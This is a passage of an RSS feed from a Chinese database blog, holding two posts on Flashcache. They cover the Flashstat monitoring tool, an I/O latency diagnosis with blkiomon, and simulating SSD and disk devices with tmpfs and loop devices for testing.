&lt;/table&gt;&lt;img src="http://www1.feedsky.com/t1/611199575/NinGoo/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199575/1237504/1/item.html" border="0" height="0" width="0" style="position:absolute" /&gt;</description><category>oracle</category><category>rebuild</category><category>技术</category><pubDate>Wed, 29 Feb 2012 13:35:34 +0800</pubDate><author>NinGoo</author><comments>http://www.ningoo.net/html/2012/a_tip_for_ora-01450.html#comments</comments><guid isPermaLink="false">http://www.ningoo.net/?p=2397</guid><dc:creator>NinGoo</dc:creator><fs:srclink>http://www.ningoo.net/html/2012/a_tip_for_ora-01450.html</fs:srclink><fs:srcfeed>http://www.ningoo.net/feed/</fs:srcfeed><fs:itemid>feedsky/NinGoo/~1461473/611199575/1237504</fs:itemid></item><item><title>深入浅出Flashcache（五）</title><link>http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199576/1237504/1/item.html</link><content:encoded><![CDATA[<p>前几天因为测试新版的Flashcache，为了便于监控性能指标，用Perl写了个秒级的监控程序Flashstat，一开始是通过定期获取dmsetup status的信息做解析，后来在<a href="http://groups.google.com/group/flashcache-dev">flashcache-dev</a>邮件列表中讨论时，Flashcache的作者Mohan Srinivasan说他已经将dmsetup status的信息暴露在/proc/flashcache_stats中，可以更加方便的解析。</p>
<p>实际上，不同版本的Flashcache，输出的性能指标有一些变化。较老的stable_v1版本的性能指标暴露在/proc/flashcache_stats，但是有些重要的指标没有包含进来，例如metadata ssd writes。而新版本支持一个系统中创建多个flashcache设备，因此位置修改成了/proc/flashcache/ssddev+diskdev/flashcache_stats，其中ssddev+diskdev根据实际的设备名不同而不同，例如在<a href="http://www.ningoo.net/html/2012/all_things_about_flashcache_4.html">上一篇</a>我们创建的模拟设备就应该是loop0+loop1，同时sysctl参数也根据设备名可以设置多组。为了兼容，flashstat针对老版本的flashcache还是解析dmsetup status的信息，而针对新版本则解析/proc中的flashcache_stats。</p>
<p>Flashstat的项目地址为：<a href="https://github.com/NinGoo/flashstat">https://github.com/NinGoo/flashstat</a>，和Mohan讨论过后，他已经将这个小工具接纳并<a href="https://github.com/facebook/flashcache/pull/48">merge到了主干代码</a>，因此现在下载Flashcache的源码，已经在utils目录中包含了这个小工具，希望对Flashcache的用户有点用处。</p>
<p><span id="more-2365"></span></p>
<p>Flashstat的用法很简单，指定监控时间间隔（-i 默认1s），监控次数（-c 默认0表示一直监控），flashcache设备（-d 默认/dev/mapper/cachedev）即可。如果需要将结果重定向到文件，则建议关闭ANSI颜色显示，使用-n或者&#8211;nocolor选项即可。</p>
<p><a href="http://pic.yupoo.com/ningoo/BFjYPu5C/7hapO.jpg"><img src="http://pic.yupoo.com/ningoo/BFjYPu5C/medish.jpg" alt="" /></a></p>
<p>输出结果：</p>
<pre>
  read/s                reads per second for cachedev
  write/s               writes per second for cachedev
  diskr/s               disk reads per second
  diskw/s               disk writes per second
  ssdr/s                ssd reads per second
  ssdw/s                ssd writes per second
  uread/s               uncached reads per second
  uwrit/s               uncached writes per second
  metaw/s               metadata ssd writes per second
  clean/s               cleanings per second
  repl/s                replacement per second
  wrepl/s               write replacement per second
  hit%                  read hit percent(current hit%|total hit%)
  whit%                 write hit percent(current whit%|total whit%)
  dwhit%                dirty write hit percent(current dwhit%|total dwhit%)
</pre>
<p>在前两天的一次测试过程中，发现iostat中disk device的svctm的波动比较大，当时利用flashstat很快定位了波动的原因。测试场景是MySQL的纯读场景，disk device的svctm一般都小于1ms，偶尔会波动到2ms，4ms甚至6ms以上，但没有超过8ms。</p>
<p>首先查看raid卡的cache策略</p>
<pre>
$sudo /opt/MegaRAID/MegaCli/MegaCli64 -LDGetProp -Cache -LALL -aALL
Adapter 0-VD 0(target id: 0): Cache Policy:WriteBack, ReadAheadNone, Direct, Write Cache OK if bad BBU
</pre>
<p>所有Raid卡不会缓存读操作，如果读IO透过flashcache落到了disk，那响应时间应该在6ms左右是正常的。而Raid卡会缓存写操作，写的响应时间就会短很多，一般在1ms以内。所以iostat显示的小于1ms的svctm，应该是混合了读写的平均响应时间的结果。但MySQL测试的场景是纯读，只有select，哪里来的写呢？通过flashstat发现clean/s和diskw/s一直持续有较大的值，原来是新版本的flashcache增加了根据脏块的过期时间后台刷出的特性，于是尝试关闭该特性</p>
<pre>
$sudo sh -c "echo 0 > /proc/sys/dev/flashcache/fioa+sdb1/fallow_delay"
</pre>
<p>再观察flashstat的结果，发现clean/s, diskw/s变为0，同时iostat -x显示sdb的svctm时间稳定在5ms左右了。也就是说，之前看到的svctm时间不稳定，是由于flashcache后台刷出过期脏块的波动导致的，当刷出写入disk的力度较大时，由于写的响应时间较短（一般在100～200微妙），iostat的读写混合平均响应时间较低，而当写出较少时，iostat的读写混合平均响应时间反而较高了。<strong>用数据说话，但如果数据是平均值，则很容易掩盖掉一些瞬间的波动的珍视情况，尽信数据，不如无数据</strong>。</p>
<p>另外，利用blkiomon，也可以很好的验证上面的结论。blkiomon可以看到不同大小的io的响应时间的分布，根据blkiomon的输出结果，可以比较方便的分析io的行为，帮助追踪和确认很多的io工具，一大神器。</p>
<p>下面是一个输出的示例，可以看到，1369次读io的平均大小是13k，平均响应时间约5.5ms，而245次写io的平均大小约20k，平均响应时间约203微秒。响应时间分布中，1毫秒以内的io次数有244次（差不多都是写），最快的响应时间只有26微妙。2毫秒以上的有1370次（差不读多都是读），响应最慢的有一次达到35毫秒。</p>
<pre>
$sudo  mount -t debugfs none /sys/kernel/debug/

$sudo  blktrace /dev/sdb -a issue -a complete -w 3600 -o - | blkiomon -I 5 -h -

time: Fri Jan 13 23:50:43 2012
device: 8,16
sizes read (bytes): num 1369, min 4096, max 16384, sum 18919424, squ 286236082176, avg 13819.9, var 18094812.6
sizes write (bytes): num 245, min 4096, max 131072, sum 5124096, squ 317106159616, avg 20914.7, var 856887118.5
d2c read (usec): num 1369, min 154, max 35396, sum 7526791, squ 51513446469, avg 5498.0, var 7400285.0
d2c write (usec): num 245, min 26, max 9605, sum 49959, squ 238326529, avg 203.9, var 931180.3
throughput read (bytes/msec): num 1369, min 298, max 106389, sum 4275218, squ 28512922538, avg 3122.9, var 11075196.9
throughput write (bytes/msec): num 245, min 2287, max 970903, sum 54430349, squ 24934376050407, avg 222164.7, var 52415814078.9
sizes histogram (bytes):
            0:     0         1024:     0         2048:     0         4096:   217
         8192:   212        16384:  1129        32768:    25        65536:    11
       131072:    20       262144:     0       524288:     0      1048576:     0
      2097152:     0      4194304:     0      8388608:     0    > 8388608:     0
d2c histogram (usec):
            0:     0            8:     0           16:     0           32:     8
           64:    99          128:    61          256:    73          512:     1
         1024:     2         2048:    52         4096:   350         8192:   809
        16384:   151        32768:     7        65536:     1       131072:     0
       262144:     0       524288:     0      1048576:     0      2097152:     0
      4194304:     0      8388608:     0     16777216:     0     33554432:     0
    >33554432:     0
bidirectional requests: 0
</pre>
<p>参考文章：<br />
[1] <a href="https://github.com/NinGoo/flashstat/blob/master/README">Flashcache README</a><br />
[2] <a href="http://blog.yufeng.info/archives/1786">IO模式调查利器blkiomon介绍</a></p>
<table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="5"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
        <tr>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="深入浅出Flashcache（一）" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">深入浅出Flashcache（一）</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Oracle12G将不再支持裸设备？" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Fraw_devices_to_be_desupported_in_oracle12g.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Oracle12G将不再支持裸设备？</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Oracle11gR1 for linux x86 64位版本可以下载了" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Foracle11g_for_linux_x86_64_released.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14712083.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Oracle11gR1 for linux x86 64位版本可以下载了</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Oracle11gR1 for Linux可以下载了" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Foracle11gr1_for_linux_x86_can_download_now.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14712488.png" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Oracle11gR1 for Linux可以下载了</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="PPLive，网络电视时代来临" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Fpplive_tv.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14713140.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">PPLive，网络电视时代来临</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="5" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table><img src="http://www1.feedsky.com/t1/611199576/NinGoo/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199576/1237504/1/item.html" border="0" height="0" width="0" style="position:absolute" />
<p><a href="http://feedads.g.doubleclick.net/~a/fyaZ0gLTceB55J_o2M3bo5sE33k/0/da"><img src="http://feedads.g.doubleclick.net/~a/fyaZ0gLTceB55J_o2M3bo5sE33k/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/fyaZ0gLTceB55J_o2M3bo5sE33k/1/da"><img src="http://feedads.g.doubleclick.net/~a/fyaZ0gLTceB55J_o2M3bo5sE33k/1/di" border="0" ismap="true"></img></a></p>]]></content:encoded><wfw:commentRss>http://www.ningoo.net/html/2012/all_things_about_flashcache_5.html/feed</wfw:commentRss><slash:comments>1</slash:comments><description>前几天因为测试新版的Flashcache，为了便于监控性能指标，用Perl写了个秒级的监控程序Flashstat，一开始是通过定期获取dmsetup status的信息做解析，后来在flashcache-dev邮件列表中讨论时，Flashcache的... &lt;table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;"&gt;
    
    &lt;tr&gt;
        &lt;td colspan="5"&gt;&lt;b&gt;&lt;font size="-1"  style="display: block !important; padding: 20px 0 5px !important;"&gt;您可能也喜欢：&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    
        &lt;tr&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important;"&gt;
                    &lt;a target="_blank" title="深入浅出Flashcache（一）" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;深入浅出Flashcache（一）&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="Oracle12G将不再支持裸设备？" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Fraw_devices_to_be_desupported_in_oracle12g.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;Oracle12G将不再支持裸设备？&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="压力测试和展示工具Swingbench简介" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Fan_introduction_to_swingbench.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14712545.png" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;压力测试和展示工具Swingbench简介&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="Oracle11g将于7月11号在New York正式发布" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Foracle11g_will_release_on_7_11.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/09/05/28319143.jpg" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;Oracle11g将于7月11号在New York正式发布&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="厦门outing" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2010%2Fxiamen_outing.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14710246.jpg" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;厦门outing&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
        &lt;/tr&gt;
    
    &lt;tr&gt;
        &lt;td colspan="5" align="right"&gt;
            &lt;a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件"&gt;
                &lt;font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;"&gt;无觅&lt;/font&gt;
            &lt;/a&gt;
        &lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;&lt;img src="http://www1.feedsky.com/t1/611199576/NinGoo/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199576/1237504/1/item.html" border="0" height="0" width="0" style="position:absolute" /&gt;</description><category>debugfs</category><category>dmsetup</category><category>flashcache</category><category>blkiomon</category><category>flashstat</category><category>技术</category><pubDate>Sat, 14 Jan 2012 00:12:14 +0800</pubDate><author>NinGoo</author><comments>http://www.ningoo.net/html/2012/all_things_about_flashcache_5.html#comments</comments><guid isPermaLink="false">http://www.ningoo.net/?p=2365</guid><dc:creator>NinGoo</dc:creator><fs:srclink>http://www.ningoo.net/html/2012/all_things_about_flashcache_5.html</fs:srclink><fs:srcfeed>http://www.ningoo.net/feed/</fs:srcfeed><fs:itemid>feedsky/NinGoo/~1461473/611199576/1237504</fs:itemid></item><item><title>深入浅出Flashcache（四）</title><link>http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199577/1237504/1/item.html</link><content:encoded><![CDATA[<p>年底事情比较多，中断了一段时间，这一篇总算要说到Flashcache本身了。由于是内核模块，安装的时候需要内核源码树。具体的安装过程可以<a href="http://www.orczhou.com/index.php/2010/10/how-to-setup-flashcace/">参考这里</a>。</p>
<pre>
make -j 4 KERNEL_TREE=/usr/src/kernels/2.6.32-131.0.15.el6.x86_64
sudo make install
</pre>
<p>最初版本的Flashcache只支持writeback，后来单独开了一个支持writethrough的分支在flashcache-wt目录，但目前最新的版本已经将write through合并到主版本，并且增加了write around策略。</p>
<p>最新的源码可以到Github获取。</p>
<pre>
env GIT_SSL_NO_VERIFY=true git clone https://github.com/facebook/flashcache.git
</pre>
<p>建议下载完源码后的第一件事，就是去doc下阅读<a href="https://github.com/facebook/flashcache/blob/master/doc/flashcache-doc.txt">flashcache-doc.txt</a>和<a href="https://github.com/facebook/flashcache/blob/master/doc/flashcache-sa-guide.txt">flashcache-sa-guide.txt</a>，保证比我则几篇blog有养分得多。</p>
<p>不是每个人都有SSD/PCI-E Flash的硬件，所以这里可以给大家一个构建虚拟混合存储设备的小技巧，这样即使是在自己的笔记本上，也可以轻松的模拟Flashcache的试验环境，而且随便折腾。</p>
<p>首先，我们可以用内存来模拟一个性能很好的Flash设备，当然这有一个缺点，就是主机重启后就啥都没了，不过用于实验测试这应该不是什么大问题。用内存来模拟块设备有两种方法，ramdisk或者tmpfs+loop device。由于ramdisk要调整大小需要修改grub并重启，这里我们用tmpfs来实现。</p>
<p><span id="more-2325"></span></p>
<pre>
# 限制tmpfs最大不超过10G，避免耗尽内存(测试机器有24G物理内存)
$sudo mount tmpfs /dev/shm -t tmpfs -o size=10240m
# 创建一个2G的文件，用来模拟2G的flash设备
$dd if=/dev/zero of=/dev/shm/ssd.img bs=1024k count=2048
# 将文件模拟成块设备
$sudo losetup /dev/loop0 /dev/shm/ssd.img
</pre>
<p>解决了cache设备，还需要有disk持久设备。同样的，可使用普通磁盘上的文件来虚拟成一个loop device。</p>
<pre>
# 在普通磁盘的文件系统中创建一个4G的文件，用来模拟4G的disk设备
$dd if=/dev/zero of=/u01/jiangfeng/disk.img bs=1024k count=4096
$sudo losetup /dev/loop1 /u01/jiangfeng/disk.img
</pre>
<p>这样我们就有了一个快速的设备/dev/loop0，一个慢速的磁盘设备/dev/loop1，可以开始创建一个Flashcache混合存储设备了。</p>
<pre>
$sudo flashcache_create -p back cachedev /dev/loop0 /dev/loop1
cachedev cachedev, ssd_devname /dev/loop0, disk_devname /dev/loop1 cache mode WRITE_BACK
block_size 8, md_block_size 8, cache_size 0
Flashcache metadata will use 8MB of your 48384MB main memory

$sudo mkfs.ext3 /dev/mapper/cachedev
mke2fs 1.41.12 (17-May-2010)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
Stride=0 blocks, Stripe width=0 blocks
262144 inodes, 1048576 blocks
52428 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=1073741824
32 block groups
32768 blocks per group, 32768 fragments per group
8192 inodes per group
Superblock backups stored on blocks:
        32768, 98304, 163840, 229376, 294912, 819200, 884736

Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 28 mounts or
180 days, whichever comes first.  Use tune2fs -c or -i to override.

$sudo mount /dev/mapper/cachedev /u03
</pre>
<p>Ok，检查一下，就可以开始做一些模拟测试啦。</p>
<pre>
$sudo dmsetup table
cachedev: 0 8388608 flashcache conf:
        ssd dev (/dev/loop0), disk dev (/dev/loop1) cache mode(WRITE_BACK)
        capacity(2038M), associativity(512), data block size(4K) metadata block size(4096b)
        skip sequential thresh(0K)
        total blocks(521728), cached blocks(83), cache percent(0)
        dirty blocks(0), dirty percent(0)
        nr_queued(0)
Size Hist: 4096:84 

$sudo dmsetup status
cachedev: 0 8388608 flashcache stats:
        reads(84), writes(0)
        read hits(1), read hit percent(1)
        write hits(0) write hit percent(0)
        dirty write hits(0) dirty write hit percent(0)
        replacement(0), write replacement(0)
        write invalidates(0), read invalidates(0)
        pending enqueues(0), pending inval(0)
        metadata dirties(0), metadata cleans(0)
        metadata batch(0) metadata ssd writes(0)
        cleanings(0) fallow cleanings(0)
        no room(0) front merge(0) back merge(0)
        disk reads(83), disk writes(0) ssd reads(1) ssd writes(83)
        uncached reads(0), uncached writes(0), uncached IO requeue(0)
        uncached sequential reads(0), uncached sequential writes(0)
        pid_adds(0), pid_dels(0), pid_drops(0) pid_expiry(0)

$sudo sysctl -a | grep flashcache
dev.flashcache.loop0+loop1.io_latency_hist = 0
dev.flashcache.loop0+loop1.do_sync = 0
dev.flashcache.loop0+loop1.stop_sync = 0
dev.flashcache.loop0+loop1.dirty_thresh_pct = 20
dev.flashcache.loop0+loop1.max_clean_ios_total = 4
dev.flashcache.loop0+loop1.max_clean_ios_set = 2
dev.flashcache.loop0+loop1.do_pid_expiry = 0
dev.flashcache.loop0+loop1.max_pids = 100
dev.flashcache.loop0+loop1.pid_expiry_secs = 60
dev.flashcache.loop0+loop1.reclaim_policy = 0
dev.flashcache.loop0+loop1.zero_stats = 0
dev.flashcache.loop0+loop1.fast_remove = 0
dev.flashcache.loop0+loop1.cache_all = 1
dev.flashcache.loop0+loop1.fallow_clean_speed = 2
dev.flashcache.loop0+loop1.fallow_delay = 900
dev.flashcache.loop0+loop1.skip_seq_thresh_kb = 0
</pre>
<p>参考文档：<br />
[1] <a href="http://www.orczhou.com/index.php/2010/10/how-to-setup-flashcace/">Flashcace安装 How-to</a><br />
[2] <a href="http://www.saview.net/archives/117">Flashcache中文简介——Linux上的回写块缓存</a><br />
[3] <a href="http://en.wikipedia.org/wiki/Tmpfs">tmpfs from wikipedia</a><br />
[4] <a href="http://en.wikipedia.org/wiki/Loop_device">loop device from wikipedia</a></p>
<table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="5"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
        <tr>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="深入浅出Flashcache（一）" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">深入浅出Flashcache（一）</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Oracle12G将不再支持裸设备？" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Fraw_devices_to_be_desupported_in_oracle12g.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Oracle12G将不再支持裸设备？</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="继续给鲜果抓Bug" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Fxianguo_bug.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14711717.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">继续给鲜果抓Bug</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="转载：EMC存储平台Symmetrix DMX-3在淘宝网成功应用" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Femc_symmetrix_dmx-3_in_taobao.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14711794.jpg" width="96px" height="96px" /><br />
